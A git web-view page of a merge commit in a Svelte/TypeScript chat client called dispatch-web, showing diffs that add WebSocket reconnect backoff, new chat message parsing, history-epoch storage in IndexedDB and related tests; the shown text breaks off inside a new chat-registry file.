summaryrefslogtreecommitdiffhomepage
path: root/src
diff options
context:
space:
mode:
authorAdam Malczewski <[email protected]>2026-10-24 16:55:38 +0900
committerAdam Malczewski <[email protected]>2026-10-24 16:55:38 +0900
commit83442d00d9d9c7f0ca200d6a2e8b42195708493f (patch)
treeebeeef6c49d4cc3f5974e59b1156de3e5e4c7c6d /src
parenta4aa86e66dad93f40bce640545d8903f7e6bcb64 (diff)
parentc8b2fb49835bde2f85d99a91b313e6a01ce1359c (diff)
downloaddispatch-web-83442d00d9d9c7f0ca200d6a2e8b42195708493f.tar.gz
dispatch-web-83442d00d9d9c7f0ca200d6a2e8b42195708493f.zip
Merge local dev into feature/close-tab-cascade-subagents
Diffstat (limited to 'src')
-rw-r--r--src/adapters/idb/index.test.ts15
-rw-r--r--src/adapters/idb/index.ts23
-rw-r--r--src/adapters/ws/index.test.ts137
-rw-r--r--src/adapters/ws/index.ts50
-rw-r--r--src/adapters/ws/logic.test.ts76
-rw-r--r--src/adapters/ws/logic.ts59
-rw-r--r--src/app/App.test.ts128
-rw-r--r--src/app/chat-registry.svelte.ts297
-rw-r--r--src/app/conversation-settings.svelte.ts428
-rw-r--r--src/app/history-sync.ts38
-rw-r--r--src/app/http-actions.ts638
-rw-r--r--src/app/open-conversations.svelte.ts288
-rw-r--r--src/app/settings-refreshers.svelte.ts257
-rw-r--r--src/app/store-types.ts610
-rw-r--r--src/app/store.svelte.ts2780
-rw-r--r--src/app/store.test.ts738
-rw-r--r--src/app/subscription-budget.test.ts20
-rw-r--r--src/app/subscription-budget.ts15
-rw-r--r--src/app/surface-protocol.svelte.ts146
-rw-r--r--src/app/surface-protocol.test.ts96
-rw-r--r--src/app/views/ChatPane.svelte13
-rw-r--r--src/app/views/ComposerPane.svelte10
-rw-r--r--src/app/ws-handlers.ts216
-rw-r--r--src/core/chunks/groups.test.ts22
-rw-r--r--src/core/chunks/groups.ts14
-rw-r--r--src/core/chunks/index.ts2
-rw-r--r--src/core/chunks/local-echo.test.ts45
-rw-r--r--src/core/chunks/reconcile.test.ts143
-rw-r--r--src/core/chunks/reconcile.ts54
-rw-r--r--src/core/chunks/reducer.test.ts156
-rw-r--r--src/core/chunks/reducer.ts260
-rw-r--r--src/core/chunks/selectors.test.ts230
-rw-r--r--src/core/chunks/selectors.ts213
-rw-r--r--src/core/chunks/trim.test.ts34
-rw-r--r--src/core/chunks/trim.ts32
-rw-r--r--src/core/chunks/types.ts10
-rw-r--r--src/core/metrics/cache-timer.test.ts359
-rw-r--r--src/core/metrics/cache-timer.ts286
-rw-r--r--src/core/metrics/index.ts15
-rw-r--r--src/core/wire/conformance.test.ts63
-rw-r--r--src/core/wire/conformance.ts12
-rw-r--r--src/features/chat/adapter/pending-inputs.ts49
-rw-r--r--src/features/chat/delivery.test.ts146
-rw-r--r--src/features/chat/index.ts5
-rw-r--r--src/features/chat/logic/composer.test.ts20
-rw-r--r--src/features/chat/logic/composer.ts11
-rw-r--r--src/features/chat/logic/tool-summary.ts8
-rw-r--r--src/features/chat/model-select.test.ts21
-rw-r--r--src/features/chat/model-select.ts19
-rw-r--r--src/features/chat/pending-inputs.ts12
-rw-r--r--src/features/chat/queued.test.ts207
-rw-r--r--src/features/chat/recovery.test.ts529
-rw-r--r--src/features/chat/store.svelte.ts451
-rw-r--r--src/features/chat/store.test.ts480
-rw-r--r--src/features/chat/test-helpers.ts27
-rw-r--r--src/features/chat/ui.test.ts345
-rw-r--r--src/features/chat/ui/CacheTimerBadge.svelte70
-rw-r--r--src/features/chat/ui/ChatView.svelte109
-rw-r--r--src/features/chat/ui/ChatView.test.ts61
-rw-r--r--src/features/chat/ui/Composer.svelte47
-rw-r--r--src/features/chat/ui/PendingInputWarning.svelte47
-rw-r--r--src/features/chat/ui/PendingInputs.svelte16
-rw-r--r--src/features/chat/ui/PendingInputs.test.ts217
-rw-r--r--src/features/conversation-cache/cache.test.ts54
-rw-r--r--src/features/conversation-cache/cache.ts78
-rw-r--r--src/features/conversation-cache/types.ts4
-rw-r--r--src/features/heartbeat/ui/RunModal.svelte1
-rw-r--r--src/features/layout/adapter/http.test.ts2
-rw-r--r--src/features/layout/logic/panel-keys.test.ts73
-rw-r--r--src/features/layout/logic/panel-keys.ts118
-rw-r--r--src/features/layout/ui/TilePanels.svelte148
-rw-r--r--src/features/layout/ui/TileRoot.test.ts53
-rw-r--r--src/features/layout/ui/panel-motion.ts83
-rw-r--r--src/features/markdown/logic/markdown.test.ts276
-rw-r--r--src/features/markdown/logic/markdown.ts270
-rw-r--r--src/features/markdown/logic/streaming-markdown.test.ts4
-rw-r--r--src/features/markdown/logic/streaming-markdown.ts61
-rw-r--r--src/features/markdown/ui/Markdown.svelte44
-rw-r--r--src/features/markdown/ui/markdown.test.ts58
-rw-r--r--src/features/surface-host/index.ts1
-rw-r--r--src/features/surface-host/logic/message-queue.test.ts35
-rw-r--r--src/features/surface-host/logic/message-queue.ts10
-rw-r--r--src/features/tabs/index.ts4
-rw-r--r--src/features/tabs/tab-flip.test.ts52
-rw-r--r--src/features/tabs/tab-flip.ts45
-rw-r--r--src/features/tabs/tab-groups.test.ts31
-rw-r--r--src/features/tabs/tab-groups.ts16
-rw-r--r--src/features/tabs/ui.test.ts148
-rw-r--r--src/features/tabs/ui/TabCard.svelte2
-rw-r--r--src/features/tabs/ui/TabGroupBox.svelte40
-rw-r--r--src/features/tabs/ui/TabList.svelte24
-rw-r--r--src/features/tabs/ui/tab-flip.ts374
-rw-r--r--src/features/workspaces/adapter/http.test.ts30
-rw-r--r--src/features/workspaces/adapter/http.ts24
-rw-r--r--src/features/workspaces/index.ts6
-rw-r--r--src/features/workspaces/logic/create.test.ts50
-rw-r--r--src/features/workspaces/logic/create.ts64
-rw-r--r--src/features/workspaces/store.svelte.ts15
-rw-r--r--src/features/workspaces/store.test.ts61
-rw-r--r--src/features/workspaces/tile-layout-store.svelte.ts34
-rw-r--r--src/features/workspaces/tile-layout-store.test.ts116
-rw-r--r--src/features/workspaces/ui/WorkspacesHome.svelte23
-rw-r--r--src/features/workspaces/ui/WorkspacesHome.test.ts144
103 files changed, 11744 insertions, 2857 deletions
diff --git a/src/adapters/idb/index.test.ts b/src/adapters/idb/index.test.ts
index 04e2177..aa56f15 100644
--- a/src/adapters/idb/index.test.ts
+++ b/src/adapters/idb/index.test.ts
@@ -128,3 +128,18 @@ describe("createIdbChunkStore", () => {
expect(loaded2[0]?.chunk).toEqual(textChunk("b1"));
});
});
+
+it("persists epoch across adapter recreation and append, including empty histories", async () => {
+ const indexedDB = new IDBFactory();
+ const store = createIdbChunkStore({ indexedDB });
+ await store.append("c", [makeChunk(1, "legacy")]);
+ expect(await store.historyEpoch("c")).toBeUndefined();
+ await store.reset("c", 2);
+ const reopened = createIdbChunkStore({ indexedDB });
+ expect(await reopened.load("c")).toEqual([]);
+ expect(await reopened.historyEpoch("c")).toBe(2);
+ await reopened.append("c", [makeChunk(101, "new")]);
+ expect(await reopened.historyEpoch("c")).toBe(2);
+ await reopened.delete("c");
+ expect(await reopened.historyEpoch("c")).toBeUndefined();
+});
diff --git a/src/adapters/idb/index.ts b/src/adapters/idb/index.ts
index 3dffef9..8b1848a 100644
--- a/src/adapters/idb/index.ts
+++ b/src/adapters/idb/index.ts
@@ -20,6 +20,7 @@ interface ChunkRecord {
interface MetaRecord {
conversationId: string;
lastAccess: number;
+ historyEpoch?: number;
}
export interface CreateIdbChunkStoreOptions {
@@ -92,6 +93,26 @@ export function createIdbChunkStore(opts?: CreateIdbChunkStoreOptions): Conversa
}
return {
+ async historyEpoch(conversationId) {
+ const db = await getDb();
+ const tx = db.transaction(META_STORE, "readonly");
+ const meta = await requestToPromise<MetaRecord | undefined>(
+ tx.objectStore(META_STORE).get(conversationId),
+ );
+ await txComplete(tx);
+ return meta?.historyEpoch;
+ },
+ async reset(conversationId, historyEpoch) {
+ const db = await getDb();
+ const tx = db.transaction([CHUNKS_STORE, META_STORE], "readwrite");
+ tx.objectStore(CHUNKS_STORE).delete(keyRangeFor(conversationId));
+ tx.objectStore(META_STORE).put({
+ conversationId,
+ historyEpoch,
+ lastAccess: Date.now(),
+ } satisfies MetaRecord);
+ await txComplete(tx);
+ },
async load(conversationId: string): Promise<readonly StoredChunk[]> {
const db = await getDb();
const tx = db.transaction(CHUNKS_STORE, "readonly");
@@ -122,7 +143,9 @@ export function createIdbChunkStore(opts?: CreateIdbChunkStoreOptions): Conversa
} satisfies ChunkRecord);
}
+ const meta = await requestToPromise<MetaRecord | undefined>(metaStore.get(conversationId));
metaStore.put({
+ ...meta,
conversationId,
lastAccess: Date.now(),
} satisfies MetaRecord);
diff --git a/src/adapters/ws/index.test.ts b/src/adapters/ws/index.test.ts
index 9d821e2..e4e4ba4 100644
--- a/src/adapters/ws/index.test.ts
+++ b/src/adapters/ws/index.test.ts
@@ -6,7 +6,7 @@ interface FakeSocket extends WebSocketLike {
sent: string[];
resolveOpen(): void;
invokeMessage(data: string): void;
- invokeClose(): void;
+ invokeClose(code?: number): void;
}
function fakeSocket(): FakeSocket {
@@ -44,8 +44,8 @@ function fakeSocket(): FakeSocket {
invokeMessage(data: string) {
onmessage?.({ data });
},
- invokeClose() {
- onclose?.({ code: 1000, reason: "" });
+ invokeClose(code = 1000) {
+ onclose?.({ code, reason: "" });
},
sent,
};
@@ -405,3 +405,134 @@ describe("createSurfaceSocket", () => {
expect(JSON.parse(ws.sent[0] ?? "")).toEqual({ type: "chat.send", message: "queued" });
});
});
+
+describe("reconnect backoff after open", () => {
+ it.each([1013, 1006, 1011])("grows and caps delays across repeated early %s closes", (code) => {
+ vi.useFakeTimers();
+ const random = vi.spyOn(Math, "random").mockReturnValue(0.5);
+ const sockets: FakeSocket[] = [];
+ const handle = createSurfaceSocket({
+ url: "ws://test",
+ onMessage: vi.fn(),
+ socketFactory: () => {
+ const ws = fakeSocket();
+ sockets.push(ws);
+ return ws;
+ },
+ });
+ try {
+ for (const delay of [500, 1000, 2000, 4000, 8000, 16000, 30000, 30000]) {
+ const count = sockets.length;
+ sockets.at(-1)?.resolveOpen();
+ vi.advanceTimersByTime(100);
+ sockets.at(-1)?.invokeClose(code);
+ vi.advanceTimersByTime(delay - 1);
+ expect(sockets).toHaveLength(count);
+ vi.advanceTimersByTime(1);
+ expect(sockets).toHaveLength(count + 1);
+ }
+ } finally {
+ handle.close();
+ random.mockRestore();
+ vi.useRealTimers();
+ }
+ });
+
+ it.each([
+ "healthy",
+ "normal",
+ "going away",
+ ])("resets accumulated backoff after a %s connection", (mode) => {
+ vi.useFakeTimers();
+ const random = vi.spyOn(Math, "random").mockReturnValue(0.5);
+ const sockets: FakeSocket[] = [];
+ const handle = createSurfaceSocket({
+ url: "ws://test",
+ onMessage: vi.fn(),
+ socketFactory: () => {
+ const ws = fakeSocket();
+ sockets.push(ws);
+ return ws;
+ },
+ });
+ try {
+ sockets[0]?.resolveOpen();
+ sockets[0]?.invokeClose(1013);
+ vi.advanceTimersByTime(500);
+ sockets[1]?.resolveOpen();
+ if (mode === "healthy") vi.advanceTimersByTime(30000);
+ sockets[1]?.invokeClose(mode === "normal" ? 1000 : mode === "going away" ? 1001 : 1013);
+ vi.advanceTimersByTime(499);
+ expect(sockets).toHaveLength(2);
+ vi.advanceTimersByTime(1);
+ expect(sockets).toHaveLength(3);
+ handle.close();
+ vi.advanceTimersByTime(60000);
+ expect(sockets).toHaveLength(3);
+ } finally {
+ handle.close();
+ random.mockRestore();
+ vi.useRealTimers();
+ }
+ });
+});
+
+it("routes chat.queued only through the typed chat callback, never surface/error handling", () => {
+ const ws = fakeSocket();
+ const onChat = vi.fn();
+ const onMessage = vi.fn();
+ const handle = createSurfaceSocket({
+ url: "ws://test",
+ socketFactory: () => ws,
+ onChat,
+ onMessage,
+ });
+ const ack = {
+ type: "chat.queued",
+ conversationId: "c1",
+ reason: "compaction",
+ messageId: "q1",
+ requestId: "r1",
+ };
+ ws.invokeMessage(JSON.stringify(ack));
+ expect(onChat).toHaveBeenCalledExactlyOnceWith(ack);
+ expect(onMessage).not.toHaveBeenCalled();
+ handle.close();
+});
+
+it("routes resync notices to chat without reconnect/resend or surface errors", () => {
+ vi.useFakeTimers();
+ const ws = fakeSocket();
+ const onChat = vi.fn();
+ const onMessage = vi.fn();
+ const onReopen = vi.fn();
+ const factory = vi.fn(() => ws);
+ const handle = createSurfaceSocket({
+ url: "ws://test",
+ socketFactory: factory,
+ onChat,
+ onMessage,
+ onReopen,
+ });
+ try {
+ ws.resolveOpen();
+ const notice = {
+ type: "chat.resync-required",
+ conversationId: "c1",
+ turnId: "t1",
+ reason: "replay-limit",
+ };
+ ws.invokeMessage(JSON.stringify(notice));
+ ws.invokeMessage(JSON.stringify(notice));
+ vi.advanceTimersByTime(1000);
+ expect(onChat).toHaveBeenCalledTimes(2);
+ expect(onChat).toHaveBeenCalledWith(notice);
+ expect(onMessage).not.toHaveBeenCalled();
+ expect(onReopen).not.toHaveBeenCalled();
+ expect(factory).toHaveBeenCalledTimes(1);
+ expect(ws.sent).toEqual([]);
+ } finally {
+ handle.close();
+ vi.useRealTimers();
+ }
+});
diff --git a/src/adapters/ws/index.ts b/src/adapters/ws/index.ts
index 76d9e75..e1d7d22 100644
--- a/src/adapters/ws/index.ts
+++ b/src/adapters/ws/index.ts
@@ -1,6 +1,10 @@
import type {
+ ChatAcceptedMessage,
ChatDeltaMessage,
ChatErrorMessage,
+ ChatQueuedMessage,
+ ChatResyncRequiredMessage,
+ ChatSubscriptionRejectedMessage,
ConversationCompactedMessage,
ConversationOpenMessage,
ConversationStatusChangedMessage,
@@ -24,7 +28,15 @@ export interface WebSocketLike {
export interface SurfaceSocketOptions {
url: string;
onMessage: (msg: SurfaceServerMessage) => void;
- onChat?: (msg: ChatDeltaMessage | ChatErrorMessage) => void;
+ onChat?: (
+ msg:
+ | ChatAcceptedMessage
+ | ChatSubscriptionRejectedMessage
+ | ChatDeltaMessage
+ | ChatErrorMessage
+ | ChatQueuedMessage
+ | ChatResyncRequiredMessage,
+ ) => void;
/** Broadcast when a conversation is "opened" (e.g. CLI `--open` flag). */
onConversationOpen?: (msg: ConversationOpenMessage) => void;
/** Broadcast when a conversation's lifecycle status changes (active/idle/closed). */
@@ -67,7 +79,12 @@ export function createSurfaceSocket(opts: SurfaceSocketOptions): SurfaceSocketHa
let disposed = false;
let reconnectAttempt = 0;
let reconnectTimer: ReturnType<typeof setTimeout> | null = null;
+ let healthyTimer: ReturnType<typeof setTimeout> | null = null;
let isOpen = false;
+ function clearHealthyTimer(): void {
+ if (healthyTimer !== null) clearTimeout(healthyTimer);
+ healthyTimer = null;
+ }
const queue: string[] = [];
function connect(isReconnect: boolean): void {
@@ -77,7 +94,12 @@ export function createSurfaceSocket(opts: SurfaceSocketOptions): SurfaceSocketHa
socket.onopen = () => {
if (disposed) return;
isOpen = true;
- reconnectAttempt = 0;
+ // Opening is not proof of recovery: replay may immediately overflow the
+ // server's slow-consumer bound. Only a sustained open resets the streak.
+ healthyTimer = setTimeout(() => {
+ healthyTimer = null;
+ reconnectAttempt = 0;
+ }, 30_000);
for (const raw of queue.splice(0)) {
socket?.send(raw);
}
@@ -90,8 +112,23 @@ export function createSurfaceSocket(opts: SurfaceSocketOptions): SurfaceSocketHa
if (disposed) return;
const msg = parseServerMessage(ev.data);
if (msg !== null) {
- if (msg.type === "chat.delta" || msg.type === "chat.error") {
- opts.onChat?.(msg as ChatDeltaMessage | ChatErrorMessage);
+ if (
+ msg.type === "chat.accepted" ||
+ msg.type === "chat.subscription-rejected" ||
+ msg.type === "chat.delta" ||
+ msg.type === "chat.error" ||
+ msg.type === "chat.queued" ||
+ msg.type === "chat.resync-required"
+ ) {
+ opts.onChat?.(
+ msg as
+ | ChatAcceptedMessage
+ | ChatSubscriptionRejectedMessage
+ | ChatDeltaMessage
+ | ChatErrorMessage
+ | ChatQueuedMessage
+ | ChatResyncRequiredMessage,
+ );
} else if (msg.type === "conversation.open") {
opts.onConversationOpen?.(msg as ConversationOpenMessage);
} else if (msg.type === "conversation.statusChanged") {
@@ -112,8 +149,10 @@ export function createSurfaceSocket(opts: SurfaceSocketOptions): SurfaceSocketHa
}
};
- socket.onclose = () => {
+ socket.onclose = (ev) => {
+ clearHealthyTimer();
if (disposed) return;
+ if (isOpen && (ev.code === 1000 || ev.code === 1001)) reconnectAttempt = 0;
isOpen = false;
scheduleReconnect();
};
@@ -143,6 +182,7 @@ export function createSurfaceSocket(opts: SurfaceSocketOptions): SurfaceSocketHa
},
close(): void {
disposed = true;
+ clearHealthyTimer();
if (reconnectTimer !== null) {
clearTimeout(reconnectTimer);
reconnectTimer = null;
diff --git a/src/adapters/ws/logic.test.ts b/src/adapters/ws/logic.test.ts
index 2179ad0..4bc2aad 100644
--- a/src/adapters/ws/logic.test.ts
+++ b/src/adapters/ws/logic.test.ts
@@ -562,3 +562,79 @@ describe("parseServerMessage — subagent tab groups", () => {
).toBeNull();
});
});
+
+it("preserves a compaction epoch and rejects absent or invalid epochs", () => {
+ const msg = {
+ type: "conversation.compacted",
+ conversationId: "c",
+ newConversationId: "archive",
+ messagesSummarized: 2,
+ messagesKept: 1,
+ historyEpoch: 7,
+ };
+ expect(parseServerMessage(JSON.stringify(msg))).toEqual(msg);
+ for (const historyEpoch of [undefined, -1, 1.5, "7"]) {
+ expect(parseServerMessage(JSON.stringify({ ...msg, historyEpoch }))).toBeNull();
+ }
+});
+
+describe("chat.queued admission acknowledgement", () => {
+ const ack = {
+ type: "chat.queued",
+ conversationId: "c1",
+ reason: "compaction",
+ messageId: "q1",
+ };
+
+ it.each([undefined, "request-1"])("preserves optional requestId %s", (requestId) => {
+ const msg = { ...ack, ...(requestId !== undefined ? { requestId } : {}) };
+ expect(parseServerMessage(JSON.stringify(msg))).toEqual(msg);
+ });
+
+ it.each([
+ { conversationId: undefined },
+ { conversationId: 12 },
+ { messageId: undefined },
+ { messageId: null },
+ { reason: undefined },
+ { reason: "other" },
+ { requestId: null },
+ { requestId: 12 },
+ ])("rejects malformed acknowledgement %j", (bad) => {
+ expect(parseServerMessage(JSON.stringify({ ...ack, ...bad }))).toBeNull();
+ });
+
+ it("serializes a correlated send", () => {
+ const msg = { type: "chat.send" as const, message: "hello", requestId: "r1" };
+ expect(JSON.parse(serialize(msg))).toEqual(msg);
+ });
+});
+
+describe("chat.resync-required", () => {
+ it.each(["replay-limit", "payload-limit"])("parses %s with optional turn identity", (reason) => {
+ const msg = { type: "chat.resync-required", conversationId: "c1", reason };
+ expect(parseServerMessage(JSON.stringify(msg))).toEqual(msg);
+ expect(parseServerMessage(JSON.stringify({ ...msg, turnId: "t1" }))).toEqual({
+ ...msg,
+ turnId: "t1",
+ });
+ });
+ it.each([
+ {},
+ { conversationId: null },
+ { conversationId: 1 },
+ { reason: "unknown" },
+ { reason: null },
+ { turnId: null },
+ { turnId: 42 },
+ ])("rejects malformed notice %j", (bad) => {
+ const msg = {
+ type: "chat.resync-required",
+ conversationId: "c1",
+ reason: "replay-limit",
+ ...bad,
+ };
+ if (Object.keys(bad).length === 0) delete (msg as { conversationId?: unknown }).conversationId;
+ expect(parseServerMessage(JSON.stringify(msg))).toBeNull();
+ });
+});
diff --git a/src/adapters/ws/logic.ts b/src/adapters/ws/logic.ts
index cecc66c..d167669 100644
--- a/src/adapters/ws/logic.ts
+++ b/src/adapters/ws/logic.ts
@@ -1,6 +1,8 @@
import type {
ChatDeltaMessage,
ChatErrorMessage,
+ ChatQueuedMessage,
+ ChatResyncRequiredMessage,
ConversationCompactedMessage,
ConversationOpenMessage,
ConversationStatusChangedMessage,
@@ -23,8 +25,12 @@ const VALID_SERVER_TYPES = new Set([
"surface",
"update",
"error",
+ "chat.accepted",
+ "chat.subscription-rejected",
"chat.delta",
"chat.error",
+ "chat.queued",
+ "chat.resync-required",
"conversation.open",
"conversation.statusChanged",
"conversation.compacted",
@@ -105,12 +111,56 @@ export function parseServerMessage(data: string): WsServerMessage | null {
: { type: "error", message: parsed.message };
return msg;
}
+ case "chat.accepted": {
+ if (typeof parsed.conversationId !== "string" || typeof parsed.requestId !== "string")
+ return null;
+ return {
+ type: "chat.accepted",
+ conversationId: parsed.conversationId,
+ requestId: parsed.requestId,
+ };
+ }
+ case "chat.subscription-rejected": {
+ if (typeof parsed.conversationId !== "string" || parsed.reason !== "subscription-limit")
+ return null;
+ return {
+ type: "chat.subscription-rejected",
+ conversationId: parsed.conversationId,
+ reason: parsed.reason,
+ };
+ }
case "chat.delta": {
const event = parsed.event;
if (!isRecord(event)) return null;
if (typeof event.type !== "string") return null;
return { type: "chat.delta", event: event as unknown as ChatDeltaMessage["event"] };
}
+ case "chat.resync-required": {
+ if (typeof parsed.conversationId !== "string") return null;
+ if (parsed.turnId !== undefined && typeof parsed.turnId !== "string") return null;
+ if (parsed.reason !== "replay-limit" && parsed.reason !== "payload-limit") return null;
+ const msg: ChatResyncRequiredMessage = {
+ type: "chat.resync-required",
+ conversationId: parsed.conversationId,
+ reason: parsed.reason,
+ ...(parsed.turnId !== undefined ? { turnId: parsed.turnId } : {}),
+ };
+ return msg;
+ }
+ case "chat.queued": {
+ if (typeof parsed.conversationId !== "string") return null;
+ if (typeof parsed.messageId !== "string") return null;
+ if (parsed.reason !== "compaction") return null;
+ if (parsed.requestId !== undefined && typeof parsed.requestId !== "string") return null;
+ const msg: ChatQueuedMessage = {
+ type: "chat.queued",
+ conversationId: parsed.conversationId,
+ messageId: parsed.messageId,
+ reason: "compaction",
+ ...(parsed.requestId !== undefined ? { requestId: parsed.requestId } : {}),
+ };
+ return msg;
+ }
case "chat.error": {
if (typeof parsed.message !== "string") return null;
const conversationId = parsed.conversationId;
@@ -119,7 +169,11 @@ export function parseServerMessage(data: string): WsServerMessage | null {
conversationId !== undefined
? { type: "chat.error", conversationId, message: parsed.message }
: { type: "chat.error", message: parsed.message };
- return msg;
+ if (parsed.requestId !== undefined && typeof parsed.requestId !== "string") return null;
+ return {
+ ...msg,
+ ...(typeof parsed.requestId === "string" ? { requestId: parsed.requestId } : {}),
+ };
}
case "conversation.open": {
if (typeof parsed.conversationId !== "string") return null;
@@ -180,7 +234,10 @@ export function parseServerMessage(data: string): WsServerMessage | null {
if (typeof parsed.newConversationId !== "string") return null;
if (typeof parsed.messagesSummarized !== "number") return null;
if (typeof parsed.messagesKept !== "number") return null;
+ if (!Number.isSafeInteger(parsed.historyEpoch) || (parsed.historyEpoch as number) < 0)
+ return null;
const msg: ConversationCompactedMessage = {
+ historyEpoch: parsed.historyEpoch as number,
type: "conversation.compacted",
conversationId: parsed.conversationId,
newConversationId: parsed.newConversationId,
diff --git a/src/app/App.test.ts b/src/app/App.test.ts
index 26f5cdb..9c5f5cc 100644
--- a/src/app/App.test.ts
+++ b/src/app/App.test.ts
@@ -104,7 +104,9 @@ function fakeFetchImpl(): typeof fetch {
{ status: 200 },
);
}
- return new Response(JSON.stringify({ chunks: [], latestSeq: 0 }), { status: 200 });
+ return new Response(JSON.stringify({ chunks: [], historyEpoch: 0, latestSeq: 0 }), {
+ status: 200,
+ });
};
}
@@ -432,6 +434,126 @@ describe("App component interaction tests", () => {
store.dispose();
});
+ it.each([
+ "look at this",
+ "",
+ ])("queues staged images through the full UI with text %j", async (text) => {
+ const ws = fakeSocket();
+ const store = createAppStore({
+ socketFactory: () => ws,
+ fetchImpl: fakeFetchImpl(),
+ localStorage: createFakeStorage(),
+ chatFlushScheduler: null,
+ });
+ ws.resolveOpen();
+ const { container } = render(App, { props: { store, onNavigate: vi.fn() } });
+ const user = userEvent.setup();
+ const textarea = screen.getByRole("textbox", { name: "Message input" });
+ await user.type(textarea, "start");
+ await user.click(screen.getByRole("button", { name: "Send" }));
+ const conversationId = activeConversationId(store);
+ ws.feedServerMessage({
+ type: "chat.delta",
+ event: { type: "turn-start", conversationId, turnId: "t1" },
+ });
+ if (text) await user.type(textarea, text);
+ const input = container.querySelector('input[type="file"]') as HTMLInputElement;
+ Object.defineProperty(input, "files", {
+ value: [new File(["GIF"], "shot.gif", { type: "image/gif" })],
+ });
+ input.dispatchEvent(new Event("change", { bubbles: true }));
+ await screen.findByRole("button", { name: "Remove image" });
+ ws.sent.length = 0;
+
+ await user.click(screen.getByRole("button", { name: "Queue" }));
+
+ expect(sentMessages(ws).filter((m: { type: string }) => m.type.startsWith("chat."))).toEqual([
+ {
+ type: "chat.queue",
+ requestId: expect.any(String),
+ conversationId,
+ workspaceId: "default",
+ text,
+ images: [{ url: "data:image/gif;base64,R0lG", mimeType: "image/gif" }],
+ },
+ ]);
+ expect(textarea).toHaveValue("");
+ expect(screen.queryByRole("button", { name: "Remove image" })).not.toBeInTheDocument();
+ store.dispose();
+ });
+
+ it("uses only the focused conversation's queue snapshot for the Flush label and POSTs stop", async () => {
+ const ws = fakeSocket();
+ const fetchImpl = vi.fn(fakeFetchImpl());
+ const store = createAppStore({
+ socketFactory: () => ws,
+ fetchImpl,
+ localStorage: createFakeStorage(),
+ chatFlushScheduler: null,
+ });
+ ws.resolveOpen();
+ render(App, { props: { store, onNavigate: vi.fn() } });
+ const user = userEvent.setup();
+ await user.type(screen.getByRole("textbox", { name: "Message input" }), "start");
+ await user.click(screen.getByRole("button", { name: "Send" }));
+ const firstId = activeConversationId(store);
+ const startTurn = (conversationId: string) =>
+ ws.feedServerMessage({
+ type: "chat.delta",
+ event: { type: "turn-start", conversationId, turnId: `turn-${conversationId}` },
+ });
+ const pushQueue = (conversationId: string, payload: unknown) =>
+ ws.feedSurfaceMessage({
+ type: "surface",
+ conversationId,
+ spec: {
+ id: "message-queue",
+ region: "inline",
+ title: "Message queue",
+ fields: [{ kind: "custom", rendererId: "message-queue", payload }],
+ },
+ });
+ startTurn(firstId);
+ await screen.findByRole("button", { name: "Stop generation" });
+ ws.feedSurfaceMessage({
+ type: "catalog",
+ catalog: [
+ { id: "message-queue", region: "inline", title: "Message queue", scope: "conversation" },
+ ],
+ });
+ const pending = { messages: [{ id: "m1", text: "next", queuedAt: 1 }] };
+ pushQueue(firstId, pending);
+ const flush = await screen.findByRole("button", { name: "Flush" });
+ ws.sent.length = 0;
+ fetchImpl.mockClear();
+ await user.click(flush);
+ expect(fetchImpl.mock.calls.filter(([, init]) => init?.method === "POST")).toEqual([
+ [expect.stringContaining(`/conversations/${firstId}/stop`), { method: "POST" }],
+ ]);
+ expect(sentMessages(ws)).toEqual([]); // No new send, queue, or cancel operation.
+
+ store.newDraft();
+ await user.type(screen.getByRole("textbox", { name: "Message input" }), "second");
+ await user.click(screen.getByRole("button", { name: "Send" }));
+ const secondId = activeConversationId(store);
+ expect(secondId).not.toBe(firstId);
+ startTurn(secondId);
+ await screen.findByRole("button", { name: "Stop generation" });
+ pushQueue(firstId, pending); // Late old-scope update must not relabel the new conversation.
+ await vi.waitFor(() =>
+ expect(screen.getByRole("button", { name: "Stop generation" })).toBeInTheDocument(),
+ );
+ pushQueue(secondId, pending);
+ await screen.findByRole("button", { name: "Flush" });
+ pushQueue(secondId, { messages: [] });
+ await screen.findByRole("button", { name: "Stop generation" });
+ pushQueue(secondId, { messages: "malformed" });
+ await vi.waitFor(() =>
+ expect(screen.getByRole("button", { name: "Stop generation" })).toBeInTheDocument(),
+ );
+ store.dispose();
+ });
+
it("incoming chat.delta renders text in the chat transcript", async () => {
const ws = fakeSocket();
const store = createAppStore({
@@ -564,7 +686,9 @@ describe("App component interaction tests", () => {
status: 200,
});
}
- return new Response(JSON.stringify({ chunks: [], latestSeq: 0 }), { status: 200 });
+ return new Response(JSON.stringify({ chunks: [], historyEpoch: 0, latestSeq: 0 }), {
+ status: 200,
+ });
};
const ws = fakeSocket();
diff --git a/src/app/chat-registry.svelte.ts b/src/app/chat-registry.svelte.ts
new file mode 100644
index 0000000..63f58ad
--- /dev/null
+++ b/src/app/chat-registry.svelte.ts
@@ -0,0 +1,297 @@
+import { untrack } from "svelte";
+import { createLocalStore } from "../adapters/local-storage";
+import type { SurfaceSocketHandle } from "../adapters/ws";
+import { normalizeChatLimit } from "../core/chunks";
+import type { ChatStore, HistorySync, MetricsSync } from "../features/chat";
+import { createChatStore, createPendingInputStorage } from "../features/chat";
+import type { ConversationCache } from "../features/conversation-cache";
+import type { TabsStore } from "../features/tabs";
+import type { ChatLimitResult, CreateAppStoreOptions } from "./store-types";
+import { liveConversationIds } from "./subscription-budget";
+import { randomId } from "./uuid";
+
+/** App-owned tab/watch stores and idempotent transcript loading; no singleton state. */
+export function createChatRegistry(deps: {
+ storage: Storage | undefined;
+ tabsStore: TabsStore;
+ createCache: () => ConversationCache;
+ historySync: HistorySync;
+ metricsSync: MetricsSync;
+ defaultModel: string;
+ activeModel: () => string;
+ activeWorkspaceId: () => string;
+ send: SurfaceSocketHandle["send"];
+ reportError: (context: string, err: unknown) => void;
+ chatFlushScheduler: CreateAppStoreOptions["chatFlushScheduler"];
+}) {
+ // The chat limit (max loaded chunks per conversation) — a persisted local
+ // setting surfaced in the sidebar's Settings view. Reactive so the field +
+ // any live-apply re-trim update together. The default is written back on
+ // first run so the knob is discoverable in localStorage too.
+ const chatLimitStore = createLocalStore<number>("dispatch.chatLimit", {
+ storage: deps.storage,
+ });
+ const storedChatLimit = chatLimitStore.load();
+ const normalizedChatLimit = normalizeChatLimit(storedChatLimit);
+ let chatLimit = $state(normalizedChatLimit);
+ if (storedChatLimit === null) {
+ chatLimitStore.save(normalizedChatLimit);
+ }
+
+ // Unload gate — attached by the shell once it owns the scroll region (see
+ // `AppStore.attachUnloadGate`). Until then, unloading is allowed.
+ let unloadGate: (() => boolean) | null = null;
+
+ const cache = deps.createCache();
+
+ const chatStores = new Map<string, ChatStore>();
+ // Includes in-flight loads: repeated activation must not start a second load.
